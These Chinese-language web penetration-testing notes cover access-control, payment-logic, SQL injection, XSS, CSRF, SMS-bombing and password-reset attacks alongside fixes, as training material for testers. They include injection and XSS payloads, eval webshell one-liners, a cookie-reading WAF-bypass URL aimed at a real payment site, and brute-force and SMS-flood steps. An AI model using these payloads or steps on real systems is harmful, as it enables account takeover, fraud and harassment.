安全渗透测试实战记录

1、越权

• 分析可能存在越权的位置：只要对数据库进行增、删、改、查询的情况都可能存在越权。
• 水平、垂直权限问题（横向越权与纵向越权）：
  • 横向越权：横向越权指的是攻击者尝试访问与他拥有相同权限的用户的资源。
  • 纵向越权：纵向越权指的是一个低级别攻击者尝试访问高级别用户的资源。
• 所以我们一般在增删改查、登陆、更新的地方寻找越权漏洞。
• A、请求中不存在参数，只用cookie进行身份验证，不可越权；

• B、请求中存在参数，并且参数中的某些值可能是辨别信息的唯一值（如employeeID、departmentID、ID等），可能存在越权；越权的原因是参数中的employeeID没有判断是否是cookie中用户所管辖的员工ID

  攻击方法：

• 横向越权攻击方法：通过工具修改请求中的某些参数（如id等自增型参数），看是否能获取其他用户的信息
• 纵向越权攻击方法：1、粘贴高权限的链接到低权限用户上访问；2、拦截低权限用户的请求或者响应包，修改其中的低权限参数为对应高权限的用户参数，提交数据。

• 或者在拦包后，换上另一个用户的sid和cookie，相当于是以另一个用户的身份操作当前的请求。

解决方案：

1. 在接口层面做权限限制。
2. 可通过建立用户和可操作资源的绑定关系，用户对任何资源进行操作时，通过该绑定关系确保该资源是属于该用户所有的。

权限策略：

1. 登录凭证要时刻验证，不能只在登录接口处进行登录验证，要任何需要登录权限的地方进行登录验证（cookie，ssid，token等）。
2. 用户操作要进行对应的权限检查，不能只根据操作参数或链接执行功能。
3. Cookie要进行严格加密，并与用户session绑定。
4. 采用“最小权限原则”进行访问控制。

测试越权技巧：

1. 用 fiddler 先截获一个小号的访问目标站点的请求，在 fiddler的 head 标签下将 cookie 复制出来；
2. 用 Fiddler2 截断大号的请求，把小号的 cookie 覆盖大号的 cookie，进行测试。如果改变了大号的数据则说明越权，然后在分析是哪个参数造成的。如果未改变，则说明不存在越权，该功能直接越过。小号的 cookie 一直在剪贴板中的，所以在测其他功能会非常方便。用不了多长时间，即可测试完整个站点下的功能。
   • 这个方法的优点如下（仅适用部分越权）：
     1. 不用去辨别哪个参数是辨别身份的；
     2. 不用两个账户同时去创建数据；
     3. 不用去查看小号 id；
     4. 单浏览器即可测试，免去切换浏览器的烦恼。

未授权访问

• 非授权访问是指：用户在没有通过认证授权的情况下，能够直接访问需要通过认证才能访问到的页面或文本信息。可以尝试在登录某网站前台或后台之后，将相关的页面链接复制于其他浏览器或其他电脑上进 行访问，看是否能访问成功。

2、付费、积分等交易漏洞

• 攻击方法：通过burp suite等工具将交易请求中的金额、期限、数量等参数改成零或者负数，提交数据，看是否能刷余额或者积分等。

3、SQL注入漏洞

• 漏洞危害描述：Web程序代码中对于用户提交的参数未做过滤就直接放到SQL语句中执行，导致参数中的特殊字符打破了SQL语句原有逻辑，黑客可以利用该漏洞执行任意SQL语句，如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。

攻击方法：

• 输入'，如果报错，说明后台对'进行了处理，这里存在sql注入点。
• 在表单输入1 or 1=1，探测是否有注入，若没有，说明可能参数是字符串，继续输入1' or '1'='1
• 在表单输入框中输入 1' or '1'='1 ，提交表单数据，通过BurpSuite工具查看请求和响应包，是否泄露数据库信息。
• 大部分时候，web服务器关闭了错误回显，可用盲注判断是否存在sql注入漏洞，如下：
  • http://www.xxx.com/abc.asp?p=1 and 1=2 sql 命令不成立，结果为空或出错；
  • http://www.xxx.com/abc.asp?p=1 and 1=1 sql 命令成立，结果正常返回。
  • 两个测试成功后，可以判断负载的sql被执行了，说明此处存在sql注入漏洞。
• 也可在post请求的请求体中进行sql注入，比如，通过拦包，将请求体中的json对象拦下，往请求体中的某个参数值中分别添加 ' or 'a'='b ，或者添加 ' or 'a'='a ，若最终的响应结果不同，说明这些sql语句已被执行，此处存在sql注入点。
• 若前端做了输入限制，则可通过burp suite拦包，修改参数注入。
• 若参数条件中含有限制条件，比如limit等，会对返回结果进行限制。
  • 此时可通过在注入后面加#注释符来绕过限制后面的限制条件，比如注入 1' or '1'='1'# 这里第一个引号闭合掉原参数的引号，后面的都是闭合的引号，最后加上#注释掉后面的语句。

常见的sql拼接如下

---

$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

• Java的SQL拼接示例

---

String id = request.getParameter("id");
String sql = "select count(*) from user where id='"+id+"'";

• 将请求中获取到的id值没有经过任何的处理，直接拼接到了sql语句中。

修复方法实例（预编译参数化查询）：

---

int id = Integer.parseInt(request.getParameter("id"));
String sql = "select count(*) from user where id=?";
PreparedStatement stmt = connect.prepareStatement(sql);
stmt.setInt(1, id);

• 先将获取到的id值强制转换成整型，然后预编译sql语句，最后传入参数查询。

防范措施：

1. 对进入数据库的特殊字符（’”<>&*;等）进行严格的转义或编码转换和过滤
2. 所有的查询语句都使用数据库提供的参数化查询接口，参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口，使用此接口可以非常有效的防止SQL注入攻击。即先对语法进行预处理，再传参数，参数不会拼到sql，都只当作值来处理。
3. 确认每种数据的类型，比如数字型的数据就必须是数字，数据库中的存储字段必须对应为int型。
4. 数据长度应该严格规定，能在一定程度上防止比较长的SQL注入语句无法正确执行。
5. 网站每个数据层的编码统一，建议全部使用UTF-8编码，上下层编码不一致有可能导致一些过滤模型被绕过。
6. 严格限制网站用户的数据库的操作权限，给此用户提供仅仅能够满足其工作的权限，从而最大限度的减少注入攻击对数据库的危害。
7. 避免网站显示SQL错误信息，比如类型错误、字段不匹配等，防止攻击者利用这些错误信息进行一些判断。
8. 绑定参数的形式，先将传入的参数转成字符串或其他类型，然后再传给sql语句（MySQL），如下

---

<?php  
$times = 0;  
$username = "aaa";  
$pwd = "fdsafda' or '1'='1";  
$sql = "SELECT * FROM table WHERE username = ? AND pwd = ?";  
bindParam($sql, 1, $username, 'STRING');  //以字符串的形式.在第一个问号的地方绑定$username这个变量  
bindParam($sql, 2, $pwd, 'STRING');       //以字符串的形式.在第二个问号的地方绑定$pwd这个变量  
echo $sql; //输出  SELECT * FROM table WHERE username = 'aaa' AND pwd = 'fdsafda\' or \'1\'=\'1'  
?>

• 可以看到，pwd内部的注入已经被转义，当成一个完整的字符串了，这样的话，就不可能被注入。

4、存储型跨站脚本漏洞（XSS）

• 存储型Xss就是将用户输入的数据“存”到服务器（或者数据库中），这种Xss具有很强的稳定性。这样不但当前用户会看到这段xss攻击，其他用户登录时，这段恶意的脚本也会被执行，弹出xss攻击。只要没删除，这个xss攻击就会永远存在。

  xss测试技巧：

• 首先找疑似点（多猜测联想），可以在提交请求时，在各种参数里写入payload，看响应的页面里哪些点包含payload内容；然后看系统是怎么对payload做处理的，payload输出在哪个标签里，然后再有针对性的构造；注意观察参数，哪些参数是通过获取url的参数值或者页面输入值，然后放到页面来呈现的
• 一般输出位置分三类，在引号内的先闭合引号；在标签外的先闭合标签；在<script>里的先换行。

• 将 payload 作为用户输入参数提交测试，这些 payload 的目的是闭合 html 的标签，使浏览器弹窗。若服务器对请求参数没有过滤处理，即直接弹窗，那么包含有恶意代码的响应信息被浏览器直接解析执行，由此触发 XSS 漏洞，且误报率很低。

xss攻击方法：

• 表单输入框输入 <script>alert(/darkknight/)</script> 并提交。
• 也可输入 <script>alert('XSS')</script> 或则 "><script>alert('XSS')</script><" 根据源码调整，将原来的源码闭合，然后嵌入自己的代码。
• 结合存储型或者反射型XSS进行CSRF攻击
  • 我们也可以结合存储型XSS漏洞进行攻击，将CSRF代码写入XSS注入点中，如下：
    <script src="http://localhost/DVWA/vulnerabilities/csrf/?password_new=888888&password_conf=888888&Change=Change#">alert(/darkknight/)</script>
  • 用户一旦访问该站点，就会在不知不觉中执行我们的恶意代码，被修改密码，这种方式同样是更加具有隐蔽性，不会出现密码修改界面。
• 在用burp suite工具测试xss或者手工测试xss时，可以先用万能通用攻击载荷：'"()<ScRiPt >lQtZ(9064)</ScRiPt> 作为payload，看响应信息或者页面中，哪些地方含有payload里的相关内容，则哪些地方就存在有xss漏洞。而实际攻击中，这样的payload可能还不能使script标签成立，需要闭合了引号以后还要闭合掉尖括号等等，script标签才成立，
  • 比如进一步构造脚本攻击："><ScRiPt >alert(1)</ScRiPt>--
  • 这样是闭合了引号和尖括号，然后注释掉script后面部分
• 这个标签 <input type="hidden" id="locale" name="locale" value="zh_CN"> 用通用攻击载荷注入后的效果如下：攻击载荷为 http://ip/index.jsp?locale = zh_CN '"()<ScRiPt >lQtZ(9064)</ScRiPt>

第二个构造例子

• 构造如下数据：

    ' onclick=alert(/xss/) // 

  输入之后，页面代码变成了：
  <a href='' onclick=alert(/xss/) //' >testLink</a>
  首先一个单引号闭合掉href的第一个单引号，然后插入一个onclick事件，最后在用注释符"//"注释掉第二个单引号。

第三个例子：

• 在第一个input框中，输入："><!--
  • 在第二个input框中，输入：--><script>alert(/xss/);</script>
• 最终的效果是：

---

<input id=1 type="text" value=""><!-- />
xxxxx
<input id=2 type="text" value="--><script>alert(/xss/);</script>" />

• 中间的代码全部被 注释掉了。

5、反射型XSS

• 反射型Xss就是简单的把用户输入的数据“反射”给浏览器（直接拿用户输入的数据呈现给浏览器），也可以想成是将url中get请求过来的值反射在浏览器里，（即直接将用户输入的内容嵌入到了原HTML标签里面，破坏了HTML标签的原有结构，但只会被触发一次，后续若没有再恶意的输入js脚本，则不会被触发，即在用户下次登录时，此xss不会存在，需重新注入）所以，攻击者往往需要将这个页面诱使用户打开这个恶意链接，才能使得攻击成功，所以，反射型Xss也叫做“非持久型Xss”。（有些浏览器本身有针对反射型xss的防护策略，并默认开启）

  攻击方法：

    http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=apitest%0D%0AX-XSS-Protection:0%0D%0A%3Cscript%3Ealert(/darkknight/)%3C/script%3E

• 其中，用 X-XSS-Protection:0 关闭浏览器的 XSS 过滤，%0D%0A表示&，后面的js脚本转码之前如下：

    http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=apitest%0D%0AX-XSS-Protection:0%0D%0A<script>alert(/darkknight/)</script>

• 如下，也可以注入成功，加入一个关闭浏览器的xss过滤参数即可。

    http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>alert(/darkknight/)</script> %0D%0AX-XSS-Protection:0

• 注入成功与否，还与浏览器的版本有关（ 谷歌78.0.3904.97（正式版本） （64 位）注入成功）

• 绕过waf拦截策略的脚本设计，如下

---

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass
_ticket=a%0D%0AContent-Length:120%0D%0AX-XSS-Protection:0%0D%0AContent-Type:tex
t/html;%20charset=ISO-2022-JP%0D%0A%0D%0A%3Cimg%20src=x%20on%1B%28Jerror=%22al%
1B%28Jert%28document.co%1B%28Jokie%29%22%3E

脚本中加入Content-Length、Content-Type:text/html;%20charset=ISO-2022-JP即可

Java防护实例：

response.getOutputStream().write(("Hello "+StringEscapeUtils.escapeHtml4(request.getParameter("name"))).getBytes());

• 以上是将获取到的name值先进行转义。

XSS防范措施：

1. 对前端输入进行限制：
   • 比如只允许输入指定类型的字符，比如电话号格式，注册用户名限制等，对输入内容进行长度限制，输入检查需要在服务器端完成，在前端完成的限制是容易绕过的；
2. 过滤一些危险字符，以及转义& < > " ' /等危险字符
3. HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie，攻击者完成 XSS 注入后也无法窃取此Cookie。
4. 设置CSP(Content Security Policy)
5. 不要仅仅在客户端做数据的验证与过滤，关键的过滤步骤在服务端进行。
6. 对输出的数据也要检查，数据库里的值有可能会在一个大网站的多处都有输出，即使在输入做了编码等操作，在各处的输出点时也要进行安全检查。

6、CSRF攻击

• 在获取的请求上，用burp suite的Engagement tool--》Generate CSRF PoC，可生成一个针对当前请求的CSRF攻击模型。

攻击方法：

1. 保留referer头部和修改值为与其他域名的值
2. 保留referer头部，但值设置为空
3. 去掉referer头部和值（经常用此方法绕过CSRF）

防护策略：

• 增强对请求中的referer校验和token校验机制

7、一句话木马：

---

php：<?php @eval($_POST['chopper']);?>
asp:<%eval request("chopper")%>
asp.net:<%@Page Language="Jscript"%><%Request.Item["chopper"],"unsafe;"%>

8、目录遍历：

• 目录遍历，其实是拿../来猜测相对于当前URL的路径，URL本质上就是程序系统的某个根目录。

9、敏感目录泄露

• WEB-INF/web.xml泄露
  • WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件，必须通过web.xml文件对要访问的文件进行相应映射才能访问

---

/WEB-INF/config/jdbc.properties
/WEB-INF/web.xml
/WEB-INF/classes/
/WEB-INF/lib/
/WEB-INF/src/
/WEB-INF/database.properties

10、burp suite的Comparer工具使用

• 将需要比较的两个内容发送到Comparer，然后点击第一条内容，点击Workds，即可看到比较的效果。
  
  

  11、增加或者修改上传文件

• 使用burp可以直接完成上传文件的功能，通过右键选择paste from file即可。
• 如下，通过burp suite拦包，然后在当前请求中增加上传文件或者修改上传文件，然后提交请求。
  

• paste from file这个功能允许你选择一个文件，并把文件里的内容粘贴到消息里。这个对二进制数据来说是很方便的，要是通过粘贴板来复制会带来一些问题。粘贴操作会替换掉被选中的内容，如果没有内容被选中，则在光标位置插入这些内容。

12、支付漏洞的思路

1、修改支付状态

• 就比如在购买一个产品的时候，目标程序用a来判断是否有支付，比如a的值是1时，说明支付成功，a的值为2时，说明支付失败，那我们可否来修改a的值来修改支付状态呢~

2、修改支付价格

• 在支付当中，购买商品一般分为三步骤：订购、确认信息、付款。
• 那么这个修改价格具体是修改哪一步时的价格呢？在我看来，你可以在这三个步骤当中的随便一个步骤进行修改价格测试，如果前面两步有验证机制，那么你可在最后一步付款时进行抓包尝试修改金额，如果没有在最后一步做好检验，那么问题就会存在，其修改的金额值你可以尝试小数目或者尝试负数
  比如某产品200元，我们可以来利用一下运费价格来抵消一下产品原件，就是通过抓包来修改运费为-190元，看能否成功。
• 防御措施：
  • 发送支付请求前，先根据目前的订单ID，订单金额等生成复杂的哈希值；在发送完支付请求后，服务器在处理支付请求前，服务器根据当前数据包内的金额再次生成哈希值， 与第一次生成的哈希值做匹配，匹配成功，订单生效；匹配失败，订单失效。
  • 还有一个保障就是在大于某金额的时候，转成人工服务，这样可以一定的保障了意外的发送。
    在处理支付请求前，服务器先判断商品价值，小于某个金额，订单生效（也可在生效前对比下哈希值）；大于某个金额时，则转人工审核，人工查看流水账，收到款项了，则订单生效；未收到款项，则订单失效。

3、修改支付接口

• 什么是支付接口呢，比如像一些百度钱包支付，微信支付，支付宝支付的都是支付接口
• 在不同的支付接口，他们的值都可能不一样，如果逻辑设计不当，当我随便选择一个点击支付时进行抓包，然后修改其支付接口为一个不存在的接口，如果没做好不存在接口相关处理，那么此时就会支付成功。

4、修改一些福利的金额

• 在一般情况下，我们第一次注册某商场会员的时候，是可以领取什么5元优惠卷、10元优惠卷、20元优惠卷等等，我们是否可尝试一下修改支付卷的价格呢，比如20元的产品规定了只能使用5元的优惠卷，我们是否可以抓包修改将优惠价格变成19或15勒。

5、修改支付ID值

• 比如商城里有2个产品，a产品的价格为100元id为1，b产品的价格为200元id为2，我们是否可以在购买b产品的时候将b产品的id改成a产品的id呢，这样子是不是就可以支付100元就可以购买b产品了，这样子的思路可能可以放在积分兑换处使用~。
• 比如在一个服务器购买网站，他们的硬盘是按G来算的，就好像1G只要1元(假设)，2G只要2元，以此类推，比如那个服务器总共需要200元，我们是否可以修改G的数量来减少支付价格呢，比如我们把G改成-19，看结果是否少了190元(19*10=190)，如果少了，此时我们就只需要支付10元(200元-190元=10元)了。

6、重复支付

• 比如一些商场中有一些试用卡之类的，通过某种渠道获得的(比如签到，分享网站信息，购买某个商品送来的)，当我们试用的时候主动取消试用，那么这个时候试用卡可能会返回到我们账户中，这里的问题就是如果没有进行对订单多重提交的校验，那么就可导致无限制刷牌子。
• 比如，我在试用某个产品的时候，每次试用都会产生一个订单号，然后利用刚抓到的数据包进行批量提交，你就可以看到每次提交的订单号不一样，然后这时你再看订单可以看到同一个商品的无数订单，但试用牌子数只扣了你第一个试验时的牌子数，那么这时你申请批量退出试用，那么这么多订单，每退一个就会退相应的牌子数量到账户当中，这就构成了无限制刷得问题。

7、最低支付价格

• 在很多时候，我们都忽略了一个问题，那就是在购买一件商品的时候，我们都喜欢修改成0.01或者负数，但是这里是有一个积分的，就是比如我们在购买1元产品的时候可以获得100积分，但是我们如果将金额数小于1元的话积分就肯定是为空的了，因为这里的积分是按100/元来算的，也就是说，如果我们看到购买xx元有送积分的，我们可以来尝试一下把金额数改成积分最低数，就比如1元。

8、多线程并发

• 比如我们在某网站，他们用的是自家的钱包(迷你钱包),这个钱包作用也仅是用于这一个站，在提现时，没有任何验证码或者校验机制，只要输入体现金额就可以提现，并且是秒到账，如果什么负数，修改金额都测试过了都不行，那么你就可以试试多线程并发问题,提现时抓包，比如我现在钱包内有0.1元，那么按理说每提0.01可以提现10次，也就是发送10次进程，但是利用这个问题可以达到多发现几次成功的进程，提现时抓包，然后把数据包发送到BurpSuite工具的Intruder当中，进行批量发送18次，然后可以看到成功的提现到了12次。

9、越权支付

• 比如我们在购买某产品的时候，支付时会出现当前用户的ID，如果没有加以验证，其支付也是一次性支付没有要求输入密码什么的机制，那么就可以修改这个用户ID为其它用户ID，达到用其他用户的账号进行支付你的商品。
• 防护策略：
  • 支付功能一定要使用严格的签名算法，避免任何参数的修改。

10、加减法

• 比如a产品为999元，当我们购买的时候我们可以试试修改数量成-1个，看是否有变成-999元，我们点击支付一下，一般来说，都可能支付失败的，因为这个时候服务器验证了这个价格是否和服务器中对应的价格是否一样，此时我们可以将-999元的产品放到购物车，再去此网站购买一个1000元产品的购物车，然后我们可以来点击购买，可以看到支付价格就变成了1元(1000+(-999)=1)了,下面有案例。

11、最大数限制突破

• 漏洞利用描述：很多商品限制用户购买数量时，服务器仅在页面通过js脚本限制，未在服务器端校验用户提交的数量，通过抓包修改商品最大数限制，将请求中的商品数量改为大于最大数限制的值，查看能否以修改后的数量完成业务流程。

13、短信轰炸

• 短信轰炸存在于用户注册、忘记密码等有短信验证码发送的地方。

  攻击方法：

• 通过burp suite抓取发送短信验证码的请求，然后将其发送到Repeater中进行重放多次，看是否能正常发出短信验证码，如下；
  
  重放成功，并发出了验证码
• 轰炸时，可放在intruder（在上面的Repeater界面，发送该请求到intruder）中，进行多线程并发重放，形成轰炸，如下，可不添加任何攻击载荷，多线程无限重放该请求，形成轰炸攻击。
  
  
  • 在日志中可看到轰炸效果：
    
• 漏洞利用方法2：
  • 选择intruder，在一个不会影响报文结果的位置随意添加一个参数$1$或者选某个值作为载荷，如下。
    

  • 然后在payload选项里面添加numbers型payload，从1到N，N为想要重放的次数，即可放心一直重放，如下。
    
    重放成功的请求，一样会显示200的状态码

    防御措施：

1. 在发送验证码的时候与图片验证码结合用，图片验证码通过，才允许往手机发送短信；或者图片验证码通过，才允许使用发送验证码按钮。
2. 后台对发送频率进行限制，多久才能发送一次。

14、短信及验证码逻辑漏洞

逻辑漏洞任意用户密码找回：

• 在找回密码过程中，尝试将绑定手机号或邮箱改成自己的，接收验证码。

  逻辑漏洞将验证短信发送至非绑定手机：

• 在发送验证码过程中，尝试将当前手机号改成自己的手机号，用来接收验证码。

  逻辑漏洞绑定他人手机号：

• 在绑定手机号时，拦截发送验证码的包，将当前的手机号改成自己的手机号，接收验证码，完成绑定他人手机号的操作。

  短信接口调用访问或权限限制：

• 若接口调用没有做访问或者权限限制，则可直接用浏览器调用该短信接口测试，url输入http:// /域名/xx?tophone= <手机号码> &message= <短信内容> 。
  发现短信发送成功，这样存在的风险是：可以任意调用短信接口，给任意手机号码发送大量的短信。
• 防护策略：
  • 增加IP访问限制，只允许特定的IP调用该短信接口，（一般是只允许内部机器的IP调用），其他的IP禁止调用（如在iplimit.cf配置文件中设置），被拒绝时，会输出以下信息：
    Access rejected by ip: 192.168.xxx.xxx

15、短信验证码暴力猜解

攻击步骤：

• 用burp suite拦截任意手机号码发送验证码的请求，并将请求发送到intruder中，清空默认的§，然后在需要破解的字段值上添加§，如下：
  
• 在攻击载荷下，选中攻击载荷类型为暴力破解，如下
  
• 然后点击开始攻击，成功破解后，会显示状态码为200，如下，破解出了验证码
  

• 最后将该验证码输入到需要验证码的输入框中，发现绑定成功。

  防护策略：

• 建议限制短信验证码错误次数。

16、验证码时间、次数测试（重复提交数据包）

• 抓取携带验证码的数据包不断重复提交，例如：在投诉建议处输入要投诉的内容信息，及验 证码参数，此时抓包重复提交数据包，查看历史投诉中是否存在重复提交的参数信息。

17、验证码绕过测试

• 当第一步向第二步跳转时，抓取数据包，对验证码进行篡改清空测试（或者去掉验证码参数字段）， 验证该步骤验证码是否可以绕过。

18、验证码 js 绕过

• 通过禁用js，以阻止其跳转，看是否能绕过js形式的验证码页面。
  

19、用户注册逻辑漏洞防护

• 直接输入用户名和密码即可完成注册的，说明此处存在逻辑漏洞。
• 要么使用短信或邮箱进行验证，要么存在难以识别的验证码，使得注册的请求无法批量提交。
  无限恶意注册的漏洞。

注册覆盖

• 在注册用户时,如果先输入用户名，在鼠标离开后会进行用户名是否存在的校验，但是如果把用户名留着最后输入，比如输入一个已有的用户名 admin，在鼠标离开输入框并点击提交按钮后，虽然也会进行用户名是否存在的校验，但表单仍然提交上去了，这时候，我们会发现我们已经以 admin 的用户登录进来了，这时候用户的密码被改为我们之前填写的密码，但原用户的所有信息却没有改变，也就是说这时候我们获取了用户的信息，姓名、身份证、手机号等等。

  攻击方法：

• 在注册时，把用户名留在最后填写，最后填写已存在的用户名，然后提交，看能否提交成功，提交成功后，是否已把已存在的用户名的密码覆盖成了新注册的密码。

  修复建议：

• 加强后台的校验，待校验全部通过后，再受理请求。

20、重置密码漏洞攻击（任意用户密码重置）

• 在重置密码的地方，通过burp suite抓包，将重置密码时的手机号和新输入的密码拦截下来，修改请求包里的手机号。发现可以把别的手机号的密码修改成功。
• 因为这个请求将手机号码放到了数据包里，并且没有二次验证，从而导致了这次攻击的发送。
• 第二种攻击方法：观察重置密码过程中所产生的用户数据，看能否找到唯一标识用户身份的信息，比如Uid之类，再次修改密码时，将该用户的唯一标识身份的信息，比如Uid，替换成另一个用户的标识信息（Uid），并提交，看是否能把另一个用户的密码重置成功。

修复建议：

• 在重置过程中，每个步骤都必须要验证用户身份的合法性。

21、密码找回漏洞

1. 验证码泄露
   • 输入验证码、要找回的账号和手机号，点击“获取验证码”，同时拦截抓包，然后就可以在返回包中看到要认证的验证码，这样不用得到用户的手机，也能得到他的验证码，再输入密码即可找回。
2. 验证码的认证绕过
   • 以某网站为例，在密码找回界面，输入用户名和密码，点击获取验证码，然后验证码随便输，然后点击下一步，拦截响应包，将响应包中的status改为0，然后就可以进入密码修改界面
   • 另外也存在替换手机号的情况，及将验证码发送到你替换的手机上，而找回的密码还是原来的账号。
   • 验证码防护策略如下：
     • 验证码至少是6位数字，且有时间限制、获取次数限制和错误次数限制。
     • 验证码的验证要放到服务端执行，不能将验证码返回到前端。
     • 若只能放到前端，必须采取加密策略。
     • 多步校验，比如找回密码第一步验证了，最后一步提交时也要验证。
3. 邮箱弱token
   • 有时候密码找回是通过邮箱链接来实现的，链接里一般会有一个与账号绑定的具有唯一性的认证参数，若这个参数能够被猜解就会产生问题，猜测一下此处的流程，用户取回密码时，产生一个精确的时间戳，与帐号绑定，记录在某个密码重置库内，那么修改这个用户密码必须得知道这个时间戳才可以，看似合理，但程序员忽略了一个细节，就是假如这个时间戳是新生成得，在一定时间段内进行暴力猜解，很快就可以获取到这个有效得链接！
   • 防护策略：
     • 邮箱找回密码的功能，其认证参数要唯一且不可预测，尽量减少不必要的参数
4. 越权修改
   • 越权修改是指在密码找回的过程中将正在找回密码的账号替换为指定的账号并修改密码；即用自己的账号来修改密码，然后通过拦包，将请求包中的账号改成别人的账号（loginid，userid之类），看是否能将别人账号的密码修改成功。

22、密保问题答案泄露

• 查看源代码相应的隐藏表单（置灰的那部分代码）里，是否泄露出了密保问题的答案。

23、删除密保问题绕过

• 攻击方法：邮件系统取回密码功能设计逻辑错误，存在认证绕过漏洞，通过抓取数据包可修改报文，将找回问题答案参数删除后，直接进行对密码更改；（即在忘记密码找回时，选择通过密保问题找回，然后输入新密码，在提交修改密码的请求时，拦包，将请求包中的密码问题答案包括参数整个删除，然后再提交，看是否能重置成功。）
• 修复建议：
  • 在处理重置密码的请求前，要验证关键参数的完整性，若缺乏某些关键参数，则拒绝请求。

24、找回密码的响应信息中泄露敏感信息

• 找回密码时，输入一些已知信息，比如用户名，查看响应，看响应信息中是否含有该用户的敏感信息（比如用户绑定的手机号，可能已加密，可解密处理），在输入手机号后，再获取验证码，并拦截该获取验证码的响应，检查响应信息中是否含有敏感信息（比如验证码，可能已加密处理，可解密），可能有些时候短信验证码加密后返回给了浏览器，这样即使不通过手机，也可获取验证码，危害极大。
• 防护策略：
  • 不要把敏感数据返回给浏览器。

25、手机号码与账号绑定漏洞

• 攻击方法：在找回密码的过程中，先用自己的手机号码获取短信验证码，然后用该验证码设置新密码，在提交重置密码的请求前，先观察下当前填写新密码界面的表单源码（很可能是在隐藏表单部分），看该表单中是否有该用户的手机号信息，若有，则将它修改成其他目标用户的手机号，然后再发起重置密码的请求，看是否能重置与目标手机号绑定的账号的密码。
• 攻击方法二：也可观察重置请求中的请求包和响应包中是否有手机号，能否修改利用。
• 修复建议：服务器端验证用户提交（验证目前提交的手机号与之前用户绑定的手机号是否一致），对用户增加随机值绑定。

26、账号与邮箱账号绑定漏洞

• 攻击方法：在通过邮箱找回密码时，拦截发送修改密码邮件链接的请求，将请求中的邮箱账号改成自己的邮箱账号，来接收改密邮件，看是否能重置密码成功。（有可能报文中的邮箱账号已经过md5加密、sha1加密等等，通过猜测，将自己的邮箱账号也进行对应的加密，然后换进去即可，多次尝试。）

27、找回步骤跳过漏洞

• 攻击方法：在找回密码时，通过拦包，修改步骤参数，跳过验证步骤、找回方式，直接到设置新密码页面；（比如，输入用户名后，拦包，然后将其中的步骤参数step改为4，看是否能成功跳过前面的操作步骤。）注意序号的参数，可能是注入点

28、绕过验证码

• 在本地验证服务器的返回信息，确定是否执行重置密码，但是其返回信息是可控的内容，或者可以得到的内容。
• 攻击方法：输入绑定的手机号，获取验证码后，随便输入一个验证码，在提交确认的时候，拦截响应，修改响应中的信息为确认通过后请求重置密码的信息，然后输入新密码，提交后，密码即可重置成功。如下，修改验证码错误的响应
  • {"flag":-4,"msg":"\u9a8c\u8bc1\u7801\u4e0d\u6b63\u786e"}
  • 为验证码正确后，请求重置密码的响应信息：
  • {"flag":1,"msg":"?q=user\/resetPass&username=&type=1&sign=e9fb209c9416fb0312980c47c4537f0b"}
  • 这样即可绕过重置验证码的页面校验。

29、偷换手机号获取验证码

• 发送短信等验证信息的动作在本地进行（即直接在本地校验验证方式，并发出验证码），可以通过修改返回包进行控制。
• 攻击方法：对比重置密码成功和重置密码失败的响应包的区别，然后输入一个账号重置密码，拦截响应包，将响应包中的验证类型的字段值，改成手机号验证的字段值，在相应的字段填上自己的手机号，然后去掉邮箱验证字段的值，即把邮箱验证改成手机号验证，继续提交，这样即可获取手机验证码并重置密码了。
  

30、找回密码相关输入框有SQL注入

31、Session覆盖绕过邮箱链接验证，重置任意用户密码

• 攻击方法：先用自己的账号，通过忘记密码，发送找回密码的链接到自己的邮箱，打开邮件，但先不要点开找回密码的邮件链接，也不再进行后续的找回密码操作；然后在同浏览器内打开网站并进行忘记密码操作，输入要修改的账号，到了要发送 找回密码邮件 那步时，停住，不再发送邮件，而是在同一浏览器中，打开前一个账号发出来的找回密码的邮箱链接（看上一次未使用的，且在有效时间内的链接，是否对本次的找回密码操作有效），若有效，则会跳转到重置密码的界面，在同一浏览器输入新密码，重置密码成功！

32、登录限制绕过,验证码不会失效

• 登录的时候，请求重发，验证码不会失效
• 密码错误，会有登录次数限制，但是修改请求头中的X-Forwarded-for中的ip，改成其他ip，就可以重新计算登录错误次数。

防护策略：

1. 登录ip不从X-Forwarded-for获取
2. 每次请求后，不管登录成功还是失败，验证码都从session中清空，然后重置

33、登录绕过漏洞

• 漏洞危害描述：由于对登录的账号及口令校验存在逻辑缺陷，或再次使用服务器端返回的相关参数作为最终登录凭证，导致可绕过登录限制，如服务器返回一个flag参数作为登录是否成功的标准，但是由于代码最后登录是否成功是通过获取这个flag参数来作为最终的验证，导致攻击者通过修改flag参数即可绕过登录的限制！

  修复建议：

• 修改验证逻辑，如是否登录成功服务器端返回一个参数，那么到此就是最终验证，不需要再对返回的参数进行使用并作为登录是否成功的最终判断依据！

34、HTTP头的注入攻击

1. 当我们把会话标识保存在数据库时，首先应该把HTTP Cookies作为首要潜在的HTTP变量进行测试。这样就可能可以使用Cookie进行SQL注入。

2. X-Forwarded-For是HTTP头的一个字段。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。

    X_FORWARDED_FOR :127.0.0.1′ or 1=1#
    这样的修改将会导致绕过安全认证。

   • 防护策略：
     • 在使用SQL查询前，HTTP_X_FORWARDED_FOR 环境变量需要进行充分的过滤。

• User-agent

  • 并不是所有的应用程序都会被获取到user-agent信息，但是有些应用程序利用它存储一些信息（如：购物车，可能用来识别这个购物车属于哪个客户端）。在这种情况下，我们就有必要研究下user-agent头存在的问题了。

      User-Agent: aaa’ or 1/*

35、Web中的条件竞争漏洞

漏洞成因：

• 竞争条件，发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
• 开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行，而且他们忽视了并行服务器会并发执行多个线程，这就会导致意想不到的结果。

现象：

